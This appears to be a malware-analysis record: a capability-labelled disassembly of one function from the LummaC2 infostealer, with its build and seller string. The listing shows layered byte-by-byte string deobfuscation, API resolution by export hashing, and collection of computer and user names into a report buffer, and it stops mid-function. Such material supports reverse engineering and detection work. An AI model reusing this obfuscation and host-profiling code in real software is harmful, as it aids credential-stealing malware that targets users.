Function at 0x44b2f0
Capabilities:
Get hostname
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x90
mov esi, esp
mov ecx, dword [ebp + 8]
mov eax, dword [0x476620]
test eax, eax
jne 0x44c39d
movzx eax, byte [0x475a56]
mov ecx, eax
add cl, al
and cl, 0x6c
sub al, cl
add al, 0xb6
mov byte [0x475a63], al
movzx eax, byte [0x475a57]
xor al, 0xb3
mov byte [0x475a64], al
movzx eax, byte [0x475a58]
xor al, 0x9a
mov byte [0x475a65], al
movzx eax, byte [0x475a59]
xor al, 0x65
mov byte [0x475a66], al
movzx eax, byte [0x475a5a]
mov ecx, eax
add cl, al
and cl, 0x5a
sub al, cl
add al, 0x2d
mov byte [0x475a67], al
movzx eax, byte [0x475a5b]
xor al, 0x45
mov byte [0x475a68], al
movzx eax, byte [0x475a5c]
xor al, 0x99
mov byte [0x475a69], al
movzx eax, byte [0x475a5d]
mov ecx, eax
add cl, al
and cl, 0xde
sub al, cl
add al, 0xef
mov byte [0x475a6a], al
movzx eax, byte [0x475a5e]
xor al, 0x94
mov byte [0x475a6b], al
mov ch, byte [0x475a5f]
mov cl, ch
add cl, ch
and cl, 0xf4
mov dh, 5
sub dh, ch
add cl, dh
and cl, 0xf8
mov al, ch
or al, 0xfd
inc al
and dh, 2
mul cl
mov dl, al
xor cl, 0xfe
mov eax, ecx
mul dh
add dl, ch
add dl, al
add dl, 0xfa
mov byte [0x475a6c], dl
movzx eax, byte [0x475a60]
xor al, 0xd2
mov byte [0x475a6d], al
movzx eax, byte [0x475a61]
mov ecx, eax
add cl, al
and cl, 0xb2
sub al, cl
add al, 0xd9
mov byte [0x475a6e], al
movzx eax, byte [0x475a62]
xor al, 0x6c
mov byte [0x475a6f], al
movzx eax, byte [0x475a80]
mov ecx, eax
add cl, al
and cl, 0xc0
sub al, cl
add al, 0x60
mov byte [0x475a84], al
movzx eax, byte [0x475a81]
mov ecx, eax
add cl, al
and cl, 0xa8
sub al, cl
add al, 0xd4
mov byte [0x475a85], al
movzx eax, byte [0x475a82]
xor al, 0xa4
mov byte [0x475a86], al
mov ch, byte [str.6_JF]
mov dh, ch
and dh, 0x34
mov dl, ch
and dl, 2
mov cl, ch
or cl, 0xfd
inc cl
mov al, dh
xor al, 0xfe
mul dl
mov dl, al
mov eax, ecx
mul dh
add al, dl
add al, ch
add al, 0x36
mov byte [0x475a87], al
movzx eax, byte [0x475a0e]
xor al, 0x5a
mov byte [0x475a18], al
movzx eax, byte [0x475a0f]
mov ecx, eax
add cl, al
not cl
add cl, al
mov edx, ecx
xor dl, 0x4f
add dl, cl
and cl, 0xb0
sub dl, cl
or al, 0xb0
and al, dl
mov byte [0x475a19], al
movzx eax, byte [0x475a10]
mov ecx, eax
add cl, al
and cl, 0xf2
sub al, cl
add al, 0xf9
mov byte [0x475a1a], al
movzx eax, byte [0x475a11]
mov ecx, eax
add cl, al
and cl, 0xca
sub al, cl
add al, 0xe5
mov byte [0x475a1b], al
movzx eax, byte [0x475a12]
xor al, 9
mov byte [0x475a1c], al
movzx eax, byte [0x475a13]
xor al, 0xf9
mov byte [0x475a1d], al
movzx eax, byte [0x475a14]
xor al, 0xba
mov byte [0x475a1e], al
movzx eax, byte [0x475a15]
xor al, 0xf8
mov byte [0x475a1f], al
mov eax, 0x8c47
xor eax, dword [0x475a20]
mov word [0x475a40], ax
movzx eax, word [0x475a22]
xor eax, 0x8d76
mov word [0x475a42], ax
mov eax, dword [0x475a24]
lea ecx, [eax + eax]
not ecx
add ecx, eax
and ecx, 0x18db
and eax, 0xffffe724
or eax, ecx
xor eax, 0xcc41
mov word [0x475a44], ax
movzx eax, word [0x475a26]
xor eax, 0x7061
mov word [0x475a46], ax
mov eax, dword [0x475a28]
lea ecx, [eax + eax]
and ecx, 0x6304
neg ecx
add eax, ecx
add eax, 0x3182
mov word [0x475a48], ax
movzx eax, word [0x475a2a]
lea ecx, [eax + eax]
and ecx, 0x2186
neg ecx
add eax, ecx
add eax, 0xffff90c3
mov word [0x475a4a], ax
mov eax, 0xb1c6
xor eax, dword [0x475a2c]
mov word [0x475a4c], ax
movzx eax, word [0x475a2e]
lea ecx, [eax + eax]
and ecx, 0x780e
neg ecx
add eax, ecx
add eax, 0xffffbc07
mov word [0x475a4e], ax
mov eax, dword [0x475a30]
lea ecx, [eax + eax]
and ecx, 0x3414
neg ecx
lea edi, [eax + ecx]
add edi, 0x1a0a
movzx eax, byte [0x4759d0]
xor al, 0xf5
mov byte [0x4759f0], al
movzx edx, byte [0x4759d1]
mov eax, edx
add al, dl
not al
add al, dl
not al
and al, 0x5d
mov ecx, edx
and cl, 0x5d
sub cl, dl
add cl, 0xa2
mov edx, eax
add dl, al
not dl
add dl, al
mov eax, ecx
add al, cl
not al
add al, cl
and al, dl
mov byte [0x4759f1], al
movzx eax, byte [0x4759d2]
xor al, 0x92
mov byte [0x4759f2], al
movzx eax, byte [0x4759d3]
mov ecx, eax
not cl
or cl, 0xe2
or al, 0x1d
and al, cl
mov byte [0x4759f3], al
movzx eax, byte [0x4759d4]
xor al, 0xf2
mov byte [0x4759f4], al
movzx eax, byte [0x4759d5]
xor al, 9
mov byte [0x4759f5], al
movzx eax, byte [0x4759d6]
xor al, 0xf1
mov byte [0x4759f6], al
movzx eax, byte [0x4759d7]
xor al, 0xf3
mov byte [0x4759f7], al
movzx eax, byte [0x4759d8]
xor al, 0xb1
mov byte [0x4759f8], al
movzx eax, byte [0x4759d9]
mov ecx, eax
not cl
or cl, 0x90
or al, 0x6f
and al, cl
mov byte [0x4759f9], al
movzx eax, byte [0x4759da]
xor al, 0xf7
mov byte [0x4759fa], al
movzx eax, byte [0x4759db]
xor al, 0xdb
mov byte [0x4759fb], al
movzx eax, byte [0x4759dc]
mov ecx, eax
add cl, al
and cl, 0x40
sub al, cl
add al, 0xa0
mov byte [0x4759fc], al
movzx eax, byte [0x4759dd]
xor al, 0x52
mov byte [0x4759fd], al
movzx eax, byte [0x4759de]
xor al, 0x63
mov byte [0x4759fe], al
movzx eax, byte [0x4759df]
xor al, 0x54
mov byte [0x4759ff], al
movzx eax, byte [0x4759e0]
xor al, 0x77
mov byte [0x475a00], al
movzx eax, byte [0x4759e1]
xor al, 0x6c
mov byte [0x475a01], al
movzx eax, byte [0x4759e2]
mov ecx, eax
add cl, al
and cl, 0xe0
sub al, cl
add al, 0xf0
mov byte [0x475a02], al
movzx eax, byte [0x4759e3]
xor al, 0xba
mov byte [0x475a03], al
movzx eax, byte [str.Bvp8UxO]
xor al, 0x62
mov byte [0x475a04], al
movzx eax, byte [0x4759e5]
xor al, 0x3b
mov byte [0x475a05], al
movzx eax, byte [0x4759e6]
xor al, 0x15
mov byte [0x475a06], al
movzx eax, byte [0x4759e7]
xor al, 0x55
mov byte [0x475a07], al
movzx eax, byte [0x4759e8]
xor al, 0x3a
mov byte [0x475a08], al
movzx eax, byte [0x4759e9]
xor al, 0xa
mov byte [0x475a09], al
movzx eax, byte [0x4759ea]
xor al, 0x36
mov byte [0x475a0a], al
movzx eax, byte [0x4759eb]
xor al, 0xa3
mov byte [0x475a0b], al
movzx eax, byte [0x4759ec]
mov ecx, eax
not cl
and cl, 0x22
mov edx, eax
xor dl, 0x22
or al, 0xdd
and al, dl
or al, cl
mov byte [0x475a0c], al
movzx eax, byte [0x4759ed]
xor al, 0x6d
mov byte [0x475a0d], al
movzx eax, byte [0x475940]
xor al, 0x63
mov byte [0x475960], al
movzx eax, byte [0x475941]
xor al, 0x32
mov byte [0x475961], al
movzx eax, byte [0x475942]
mov ecx, eax
not cl
or cl, 0x51
mov edx, ecx
add dl, cl
not dl
add dl, cl
and cl, 0x35
and dl, 0xca
or dl, cl
and al, 0x51
xor al, dl
xor al, 0x64
mov byte [0x475962], al
movzx eax, byte [0x475943]
mov ecx, eax
not cl
mov edx, eax
or dl, 0xcc
xor al, 0xcc
add al, cl
and cl, 0xcc
sub al, cl
and al, dl
not al
mov byte [0x475963], al
movzx eax, byte [0x475944]
mov ecx, eax
add cl, al
and cl, 6
sub al, cl
add al, 0x83
mov byte [0x475964], al
movzx eax, byte [0x475945]
xor al, 0xe4
mov byte [0x475965], al
movzx eax, byte [0x475946]
xor al, 0x20
mov byte [0x475966], al
movzx eax, byte [0x475947]
xor al, 0xfc
mov byte [0x475967], al
movzx eax, byte [0x475948]
mov ecx, eax
not cl
or al, 0xb9
or cl, 0x46
and cl, al
not cl
mov byte [0x475968], cl
movzx eax, byte [0x475949]
mov ecx, eax
add cl, al
and cl, 0xa2
sub al, cl
add al, 0x51
mov byte [0x475969], al
movzx eax, byte [0x47594a]
xor al, 0xac
mov byte [0x47596a], al
movzx eax, byte [0x47594b]
xor al, 0x95
mov byte [0x47596b], al
movzx eax, byte [0x47594c]
mov ecx, eax
or cl, 0x2e
and al, 0x2e
mov edx, eax
add dl, al
not dl
add dl, al
and dl, cl
mov eax, edx
add al, dl
not al
add al, dl
mov byte [0x47596c], al
movzx eax, byte [0x47594d]
xor al, 0x61
mov byte [0x47596d], al
movzx eax, byte [0x47594e]
xor al, 0xc7
mov byte [0x47596e], al
movzx eax, byte [0x47594f]
xor al, 0xdd
mov byte [0x47596f], al
movzx eax, byte [0x475950]
xor al, 0xf5
mov byte [0x475970], al
movzx eax, byte [0x475951]
mov ecx, eax
add cl, al
and cl, 0xf2
sub al, cl
add al, 0x79
mov byte [0x475971], al
movzx eax, byte [0x475952]
xor al, 0x2d
mov byte [0x475972], al
movzx eax, byte [0x475953]
xor al, 0xf3
mov byte [0x475973], al
movzx eax, byte [0x475954]
xor al, 0x21
mov byte [0x475974], al
mov ch, byte [0x475955]
mov dh, ch
and dh, 0xd5
mov dl, ch
and dl, 2
mov cl, ch
or cl, 0xfd
inc cl
mov al, 0xfe
sub al, dh
mul dl
mov dl, al
mov eax, ecx
mul dh
add al, dl
add al, ch
add al, 0xd7
mov byte [0x475975], al
movzx eax, byte [0x475956]
xor al, 2
mov byte [0x475976], al
movzx eax, byte [0x475957]
xor al, 0xe7
mov byte [0x475977], al
movzx eax, byte [0x475958]
xor al, 0xd3
mov byte [0x475978], al
movzx eax, byte [0x475959]
mov ecx, eax
not cl
and cl, 0x43
xor al, 0x43
or al, cl
mov byte [0x475979], al
movzx eax, byte [0x47595a]
xor al, 0x61
mov byte [0x47597a], al
movzx eax, byte [0x47595b]
xor al, 0xfa
mov byte [0x47597b], al
movzx eax, byte [0x4758c5]
xor al, 0xd1
mov byte [0x4758ce], al
movzx eax, byte [0x4758c6]
xor al, 0xb6
mov byte [0x4758cf], al
movzx eax, byte [0x4758c7]
xor al, 9
mov byte [0x4758d0], al
movzx eax, byte [0x4758c8]
xor al, 0xf9
mov byte [0x4758d1], al
movzx eax, byte [0x4758c9]
xor al, 0xcd
mov byte [0x4758d2], al
movzx eax, byte [0x4758ca]
xor al, 0x7e
mov byte [0x4758d3], al
movzx eax, byte [0x4758cb]
xor al, 0xe0
mov byte [0x4758d4], al
movzx eax, byte [0x4758cc]
xor al, 0xbb
mov byte [0x4758d5], al
movzx eax, byte [0x4758cd]
mov ecx, eax
add cl, al
and cl, 0x84
add al, 0x42
mov edx, ecx
xor dl, al
not cl
and cl, al
add cl, cl
sub cl, dl
mov byte [0x4758d6], cl
movzx eax, byte [0x4759a8]
mov ecx, eax
not cl
or al, 0xa0
or cl, 0x5f
and cl, al
not cl
mov byte [0x4759b1], cl
movzx eax, byte [0x4759a9]
add al, 0x80
mov byte [0x4759b2], al
movzx eax, byte [0x4759aa]
mov ecx, eax
not cl
shl cl, 2
or cl, 0xdf
add cl, al
add al, al
and al, 0x98
xor al, 0x4d
add cl, al
mov byte [0x4759b3], cl
movzx eax, byte [0x4759ab]
mov ecx, eax
add cl, al
and cl, 0xa0
sub al, cl
add al, 0xd0
mov byte [0x4759b4], al
movzx eax, byte [0x4759ac]
xor al, 0xc
mov byte [0x4759b5], al
movzx eax, byte [0x4759ad]
xor al, 0xec
mov byte [0x4759b6], al
movzx eax, byte [0x4759ae]
mov ecx, eax
add cl, al
and cl, 0x22
sub al, cl
add al, 0x11
mov byte [0x4759b7], al
movzx eax, byte [0x4759af]
xor al, 0xf
mov byte [0x4759b8], al
movzx eax, byte [0x4759b0]
mov ecx, eax
add cl, al
and cl, 0x64
sub al, cl
add al, 0x32
mov byte [0x4759b9], al
movzx eax, byte [0x475868]
xor al, 0xe5
mov byte [0x475875], al
movzx eax, byte [0x475869]
mov ecx, eax
add cl, al
and cl, 0xa6
sub al, cl
add al, 0x53
mov byte [0x475876], al
movzx eax, byte [0x47586a]
mov ecx, eax
add cl, al
and cl, 0x10
sub al, cl
add al, 8
mov byte [0x475877], al
movzx eax, byte [0x47586b]
xor al, 0xed
mov byte [0x475878], al
movzx eax, byte [0x47586c]
mov ecx, eax
add cl, al
and cl, 0xde
sub al, cl
add al, 0x6f
mov byte [0x475879], al
movzx eax, byte [0x47586d]
mov ecx, eax
add cl, al
and cl, 0xb6
sub al, cl
add al, 0xdb
mov byte [0x47587a], al
movzx eax, byte [0x47586e]
mov ecx, eax
add cl, al
and cl, 0xa
sub al, cl
add al, 0x85
mov byte [0x47587b], al
movzx eax, byte [0x47586f]
xor al, 0xa7
mov byte [0x47587c], al
movzx eax, byte [0x475870]
xor al, 0x4a
mov byte [0x47587d], al
movzx eax, byte [0x475871]
mov ecx, eax
add cl, al
and cl, 0xba
sub al, cl
add al, 0xdd
mov byte [0x47587e], al
movzx eax, byte [0x475872]
mov ecx, eax
add cl, al
and cl, 4
sub al, cl
add al, 0x82
mov byte [0x47587f], al
movzx eax, byte [0x475873]
xor al, 0xc7
mov byte [0x475880], al
movzx eax, byte [0x475874]
xor al, 0x21
mov byte [0x475881], al
movzx eax, byte [str._cv4]
mov ecx, eax
add cl, al
and cl, 0xda
sub al, cl
add al, 0x6d
mov byte [0x4758b0], al
movzx eax, byte [0x475891]
xor al, 0x43
mov byte [0x4758b1], al
movzx eax, byte [0x475892]
mov ecx, eax
not cl
or al, 0xda
or cl, 0x25
and cl, al
not cl
mov byte [0x4758b2], cl
movzx eax, byte [0x475893]
xor al, 0x57
mov byte [0x4758b3], al
movzx eax, byte [0x475894]
xor al, 0xa6
mov byte [0x4758b4], al
movzx eax, byte [0x475895]
mov ecx, eax
not cl
or cl, 5
or al, 0xfa
and al, cl
mov byte [0x4758b5], al
movzx eax, byte [0x475896]
xor al, 0x94
mov byte [0x4758b6], al
movzx eax, byte [0x475897]
xor al, 0x16
mov byte [0x4758b7], al
movzx eax, byte [0x475898]
xor al, 0xab
mov byte [0x4758b8], al
movzx eax, byte [0x475899]
xor al, 2
mov byte [0x4758b9], al
movzx eax, byte [0x47589a]
xor al, 0xad
mov byte [0x4758ba], al
mov ch, byte [0x47589b]
mov dh, ch
and dh, 0x44
mov dl, ch
and dl, 2
mov cl, ch
or cl, 0xfd
inc cl
mov al, dh
xor al, 0xfe
mul dl
mov dl, al
mov eax, ecx
mul dh
add al, dl
add al, ch
add al, 0x46
mov byte [0x4758bb], al
movzx eax, byte [0x47589c]
xor al, 0x5f
mov byte [0x4758bc], al
movzx eax, byte [0x47589d]
mov ecx, eax
add cl, al
and cl, 0x66
sub al, cl
add al, 0xb3
mov byte [0x4758bd], al
movzx eax, byte [0x47589e]
xor al, 0x77
mov byte [0x4758be], al
movzx eax, byte [0x47589f]
xor al, 0xdd
mov byte [0x4758bf], al
movzx eax, byte [0x4758a0]
xor al, 0xb2
mov byte [0x4758c0], al
movzx eax, byte [0x4758a1]
xor al, 0x94
mov byte [0x4758c1], al
movzx eax, byte [0x4758a2]
mov ecx, eax
add cl, al
and cl, 0x3a
xor cl, 0x1d
mov edx, eax
shl dl, 2
and dl, 0x44
sub al, dl
add al, cl
mov byte [0x4758c2], al
movzx eax, byte [0x4758a3]
xor al, 0xa2
mov byte [0x4758c3], al
movzx eax, byte [0x4758a4]
mov ecx, eax
add cl, al
and cl, 0x3e
sub al, cl
add al, 0x9f
mov byte [0x4758c4], al
movzx eax, byte [0x475918]
xor al, 2
mov byte [0x475926], al
movzx eax, byte [0x475919]
xor al, 0x3d
mov byte [0x475927], al
movzx eax, byte [0x47591a]
xor al, 0x7f
mov byte [0x475928], al
movzx eax, byte [0x47591b]
mov ecx, eax
add cl, al
and cl, 0x76
sub al, cl
add al, 0x3b
mov byte [0x475929], al
movzx eax, byte [0x47591c]
mov ecx, eax
add cl, al
and cl, 0xc8
sub al, cl
add al, 0x64
mov byte [0x47592a], al
mov ch, byte [0x47591d]
mov dh, ch
and dh, 0x34
mov dl, ch
and dl, 2
mov cl, ch
or cl, 0xfd
inc cl
mov al, dh
xor al, 0xfe
mul dl
mov dl, al
mov eax, ecx
mul dh
add al, dl
add al, ch
add al, 0x36
mov byte [0x47592b], al
movzx eax, byte [0x47591e]
xor al, 0xc8
mov byte [0x47592c], al
movzx eax, byte [0x47591f]
xor al, 0xcd
mov byte [0x47592d], al
movzx eax, byte [0x475920]
xor al, 0x84
mov byte [0x47592e], al
movzx eax, byte [0x475921]
xor al, 0x2a
mov byte [0x47592f], al
movzx eax, byte [0x475922]
xor al, 0x20
mov byte [str.pZAm], al
movzx eax, byte [0x475923]
xor al, 0x1a
mov byte [0x475931], al
movzx eax, byte [0x475924]
mov ecx, eax
not cl
and cl, 0xd2
mov edx, eax
xor dl, 0xd2
or al, 0x2d
and al, dl
or al, cl
xor al, 0xd
mov byte [0x475932], al
movzx eax, byte [0x475925]
mov ecx, eax
add cl, al
and cl, 0x42
sub al, cl
add al, 0x21
mov byte [0x475933], al
movzx eax, byte [0x47597c]
xor al, 0x9c
mov byte [0x475983], al
movzx eax, byte [0x47597d]
xor al, 0x11
mov byte [0x475984], al
movzx eax, byte [0x47597e]
xor al, 0xa9
mov byte [0x475985], al
movzx eax, byte [0x47597f]
mov ecx, eax
add cl, al
and cl, 0x80
add cl, al
add cl, 0x40
mov byte [0x475986], cl
movzx eax, byte [0x475980]
mov ecx, eax
add cl, al
and cl, 0xd2
add al, 0xe9
mov edx, ecx
xor dl, al
not cl
and cl, al
add cl, cl
sub cl, dl
mov byte [0x475987], cl
movzx eax, byte [0x475981]
mov ecx, eax
add cl, al
and cl, 0x2e
xor cl, 0x17
mov edx, eax
shl dl, 2
and dl, 0x50
sub al, dl
add al, cl
mov byte [0x475988], al
movzx eax, byte [0x475982]
xor al, 0x49
mov byte [0x475989], al
movzx eax, byte [0x4759ba]
xor al, 0x58
mov byte [0x4759c5], al
movzx eax, byte [0x4759bb]
mov ecx, eax
add cl, al
not cl
add cl, al
and cl, 0xbc
and al, 0x43
or al, cl
mov byte [0x4759c6], al
movzx eax, byte [0x4759bc]
xor al, 0xcf
mov byte [0x4759c7], al
movzx eax, byte [0x4759bd]
xor al, 0xb2
mov byte [0x4759c8], al
movzx eax, byte [0x4759be]
mov ecx, eax
add cl, al
and cl, 0x42
sub al, cl
add al, 0x21
mov byte [0x4759c9], al
movzx ecx, byte [0x4759bf]
mov eax, ecx
not al
add al, al
add al, cl
inc al
mov edx, ecx
xor dl, 0xdb
or cl, 0x24
and cl, dl
and al, 0xdb
or al, cl
mov byte [str.w8y], al
movzx eax, byte [0x4759c0]
xor al, 0xed
mov byte [0x4759cb], al
movzx eax, byte [0x4759c1]
xor al, 0x81
mov byte [0x4759cc], al
movzx eax, byte [0x4759c2]
xor al, 0x8c
mov byte [0x4759cd], al
movzx eax, byte [0x4759c3]
xor al, 0x37
mov byte [0x4759ce], al
movzx eax, byte [0x4759c4]
xor al, 0xca
mov byte [0x4759cf], al
movzx eax, byte [0x4758e0]
xor al, 0xb9
mov byte [str._lto2], al
movzx eax, byte [0x4758e1]
xor al, 0xb6
mov byte [0x475901], al
movzx eax, byte [0x4758e2]
xor al, 0xc5
mov byte [0x475902], al
movzx eax, byte [0x4758e3]
xor al, 0x81
mov byte [0x475903], al
movzx eax, byte [0x4758e4]
xor al, 0xda
mov byte [0x475904], al
movzx eax, byte [0x4758e5]
xor al, 0x74
mov byte [0x475905], al
mov ch, byte [0x4758e6]
mov dh, ch
and dh, 0xf0
mov dl, ch
and dl, 2
mov cl, ch
or cl, 0xfd
inc cl
mov al, dh
xor al, 0xfe
mul dl
mov dl, al
mov eax, ecx
mul dh
add al, dl
add al, ch
add al, 0xf2
mov byte [0x475906], al
movzx eax, byte [str.yb]
xor al, 0x5e
mov byte [0x475907], al
movzx eax, byte [0x4758e8]
xor al, 0x1c
mov byte [0x475908], al
movzx eax, byte [0x4758e9]
xor al, 0x10
mov byte [0x475909], al
movzx eax, byte [0x4758ea]
xor al, 0x73
mov byte [0x47590a], al
movzx eax, byte [0x4758eb]
mov ecx, eax
not cl
or al, 0x7b
or cl, 0x84
and cl, al
not cl
mov byte [0x47590b], cl
movzx eax, byte [str.f_25]
xor al, 0xb
mov byte [0x47590c], al
movzx eax, byte [0x4758ed]
not al
mov ecx, eax
add cl, al
not cl
add cl, al
mov edx, eax
and dl, 0x36
and cl, 0xc9
or cl, dl
xor cl, 0x89
or al, 0x40
and al, cl
mov ecx, eax
add cl, al
not cl
add cl, al
mov byte [0x47590d], cl
movzx eax, byte [0x4758ee]
xor al, 0x7c
mov byte [0x47590e], al
movzx eax, byte [0x4758ef]
xor al, 0x50
mov byte [0x47590f], al
movzx eax, byte [0x4758f0]
mov ecx, eax
not cl
or al, 0xa8
or cl, 0x57
and cl, al
not cl
mov byte [0x475910], cl
movzx eax, byte [0x4758f1]
xor al, 0xc6
mov byte [0x475911], al
movzx eax, byte [0x4758f2]
xor al, 0x46
mov byte [0x475912], al
movzx eax, byte [0x4758f3]
mov ecx, eax
add cl, al
and cl, 0x6c
sub al, cl
add al, 0x36
mov byte [0x475913], al
movzx eax, byte [0x4758f4]
xor al, 6
mov byte [0x475914], al
movzx eax, byte [0x4758f5]
xor al, 0xae
mov byte [str.q_fU_], al
mov dh, byte [0x47598c]
mov ch, dh
xor ch, 0x86
mov cl, ch
add cl, ch
not cl
add cl, ch
mov dl, cl
and dl, 0x84
and ch, 2
mov eax, edx
mul ch
mov ebx, eax
movzx eax, byte [0x4758f6]
mov ah, al
add ah, al
and ah, 0xd6
add al, 0x6b
mov ch, ah
xor ch, al
not ah
and ah, al
mov word [0x475a50], di
movzx edi, word [0x475a32]
xor edi, 0x99c4
mov word [0x475a52], di
mov edi, 0x114c
xor edi, dword [0x475a34]
mov word [0x475a54], di
add ah, ah
sub ah, ch
mov ch, 0xfe
mov byte [0x475916], ah
movzx eax, byte [0x4758f7]
xor al, 0x4c
mov byte [0x475917], al
movzx eax, byte [0x47598a]
xor al, 0xa4
mov byte [0x475999], al
movzx eax, byte [0x47598b]
xor al, 0x42
mov byte [0x47599a], al
and cl, 2
xor dl, 0xfe
mov eax, edx
mul cl
sub al, bl
add al, dh
add al, 0x86
mov byte [0x47599b], al
movzx eax, byte [0x47598d]
xor al, 0x53
mov byte [0x47599c], al
movzx eax, byte [0x47598e]
mov cl, al
add cl, al
and cl, 0xe4
mov dl, 0x71
sub dl, cl
add cl, 0xe
xor cl, al
and dl, al
add dl, dl
sub dl, cl
mov byte [0x47599d], dl
movzx eax, byte [0x47598f]
mov cl, al
add cl, al
and cl, 0x80
add cl, al
add cl, 0x40
mov byte [0x47599e], cl
movzx eax, byte [0x475990]
mov cl, al
not cl
or cl, 0xa7
or al, 0x58
and al, cl
mov byte [0x47599f], al
movzx eax, byte [0x475991]
xor al, 0x4b
mov byte [0x4759a0], al
movzx eax, byte [0x475992]
xor al, 0x4d
mov byte [0x4759a1], al
movzx eax, byte [0x475993]
xor al, 0xbc
mov byte [0x4759a2], al
movzx eax, byte [0x475994]
mov cl, al
add cl, al
and cl, 0x6c
sub al, cl
add al, 0x36
mov byte [0x4759a3], al
movzx eax, byte [0x475995]
mov cl, al
mov edx, eax
xor dl, 0xee
add dl, al
and al, 0xee
and cl, 0x11
not dl
add dl, cl
or dl, al
not dl
mov byte [0x4759a4], dl
movzx eax, byte [0x475996]
mov cl, al
not cl
mov edx, ecx
add dl, cl
add dl, al
sub ch, dl
or ch, 0x68
or cl, 0x97
and cl, ch
not cl
mov byte [0x4759a5], cl
movzx eax, byte [0x475997]
mov ecx, eax
add cl, al
and cl, 0xa0
sub al, cl
mov ecx, dword [ebp + 8]
add al, 0x50
mov byte [0x4759a6], al
movzx eax, byte [0x475998]
xor al, 0x76
mov byte [0x4759a7], al
mov dword [0x476620], 1
push eax
mov eax, esp
mov dword [esi + 0x84], eax
push eax
mov dword [esi + 0x18], esp
push eax
mov dword [esi + 0x20], esp
sub esp, 8
mov dword [esi + 0x10], esp
push eax
mov dword [esi + 0x24], esp
sub esp, 0xc
mov dword [esi + 0x28], esp
sub esp, 0x100
mov dword [esi + 0x30], esp
push eax
mov dword [esi + 4], esp
sub esp, 0xc
mov dword [esi + 0x2c], esp
sub esp, 0x100
mov dword [esi + 0x34], esp
sub esp, 0x10
mov dword [esi + 0x38], esp
sub esp, 0x100
mov dword [esi + 0x3c], esp
sub esp, 0x1c
mov dword [esi + 0x40], esp
sub esp, 0x100
mov dword [esi + 0x44], esp
sub esp, 0x18
mov dword [esi + 0x48], esp
sub esp, 0x10
mov dword [esi + 0x4c], esp
sub esp, 0x10
mov dword [esi + 0x58], esp
sub esp, 0xc
mov dword [esi + 8], esp
sub esp, 0x200
mov dword [esi + 0x5c], esp
sub esp, 0x18
mov dword [esi + 0x60], esp
sub esp, 0x10
mov dword [esi + 0x64], esp
sub esp, 0x10
mov dword [esi + 0x14], esp
sub esp, 0x10
mov dword [esi + 0x68], esp
sub esp, 0x1a8
mov dword [esi + 0x6c], esp
sub esp, 8
mov dword [esi + 0x70], esp
sub esp, 8
mov edx, esp
and edx, 0xfffffff8
mov dword [esi + 0x74], edx
mov esp, edx
push eax
sub esp, 0x1c
mov dword [esi + 0x78], esp
push eax
mov dword [esi + 0x7c], esp
sub esp, 0x18
mov dword [esi + 0x80], esp
mov dword [eax], ecx
push str.user32.dll
push 0x3d95e230
call fcn.0044d0b0
add esp, 8
push 0
call eax
mov dword [esi + 0xc], eax
push str.user32.dll
push 0x3d95e230
call fcn.0044d0b0
add esp, 8
push 1
call eax
mov dword [esi + 0x1c], eax
push 1
push 0x20
call fcn.004556b7
add esp, 8
mov ebx, eax
mov dword [esi + 0x50], eax
push 1
push 0x20
call fcn.004556b7
add esp, 8
mov edi, eax
mov dword [esi + 0x54], eax
push 0xa
push ebx
push dword [esi + 0xc]
call fcn.00454b74
add esp, 0xc
push 0xa
push edi
push dword [esi + 0x1c]
call fcn.00454b74
add esp, 0xc
push 1
push 0x4000
call fcn.004556b7
add esp, 8
mov edi, eax
mov eax, dword [esi + 0x18]
mov dword [eax], edi
push edi
call fcn.004560b0
add esp, 4
add eax, edi
push 0x36
push str.LummaC2__Build_Nov_23_2023__Buy_now:_TG__lummanowork_n
push eax
call fcn.00450100
add esp, 0xc
push str.41f77d2b0dbe39030d82104620d7346f68cd5d
call fcn.00446290
add esp, 4
mov ebx, eax
push eax
push edi
call fcn.00455ed0
add esp, 8
push ebx
call fcn.00455b05
add esp, 4
push edi
call fcn.004560b0
add esp, 4
add eax, edi
push 0x21
push str.SdDgBv__ANDREFO
push eax
call fcn.00450100
add esp, 0xc
push edi
call fcn.004560b0
add esp, 4
mov word [edi + eax], 0xa0a
mov byte [edi + eax + 2], 0
push 1
push 0x8000
call fcn.004556b7
add esp, 8
mov dword [esi + 0xc], eax
mov ebx, dword [esi + 0x20]
mov dword [ebx], 0x8000
push str.kernel32.dll
push 0xa2f80070
call fcn.0044d0b0
add esp, 8
push ebx
mov ebx, dword [esi + 0xc]
push ebx
call eax
mov eax, dword [0x475983]
mov ecx, dword [esi + 0x10]
mov dword [ecx], eax
mov eax, dword [0x475986]
mov dword [ecx + 3], eax
push ecx
push edi
call fcn.00455ed0
add esp, 8
push ebx
push edi
call fcn.00455ed0
add esp, 8
push edi
call fcn.004560b0
add esp, 4
mov word [edi + eax], 0xa
push 1
push 0x8000
call fcn.004556b7
add esp, 8
mov dword [esi + 0x10], eax
mov ebx, dword [esi + 0x24]
mov dword [ebx], 0x8000
push str.advapi32.dll
push 0x23fef64a
call fcn.0044d0b0
add esp, 8
push ebx
mov ebx, dword [esi + 0x10]
push ebx
call eax
mov eax, dword [0x4758ce]
mov ecx, dword [esi + 0x28]
mov dword [ecx], eax
mov eax, dword [0x4758d2]
mov dword [ecx + 4], eax
movzx eax, byte [0x4758d6]
mov byte [ecx + 8], al
push ecx
push edi
call fcn.00455ed0
add esp, 8
push ebx
push edi
call fcn.00455ed0
add esp, 8
push edi
call fcn.004560b0
add esp, 4
mov word [edi + eax], 0xa
mov eax, dword [esi + 4]
mov dword [eax], 0x100
push eax
mov ebx, dword [esi + 0x30]
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [0x4759c5]
mov ecx, dword [esi + 0x2c]
mov dword [ecx], eax
mov eax, dword [0x4759c9]
mov dword [ecx + 4], eax
mov eax, dword [0x4759cc]
mov dword [ecx + 7], eax
push ecx
push edi
call fcn.00455ed0
add esp, 8
push ebx
push edi
call fcn.00455ed0
add esp, 8
push edi
call fcn.004560b0
add esp, 4
mov word [edi + eax], 0xa
mov eax, dword [esi + 4]
mov dword [eax], 0x100
push eax
mov ebx, dword [esi + 0x34]
push ebx
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [0x475926]
mov ecx, dword [esi + 0x38]
mov dword [ecx], eax
mov eax, dword [0x47592a]
mov dword [ecx + 4], eax
mov eax, dword [0x47592e]
mov dword [ecx + 8], eax
movzx eax, word [0x475932]
mov word [ecx + 0xc], ax
push ecx
push edi
call fcn.00455ed0
add esp, 8
push ebx
push edi
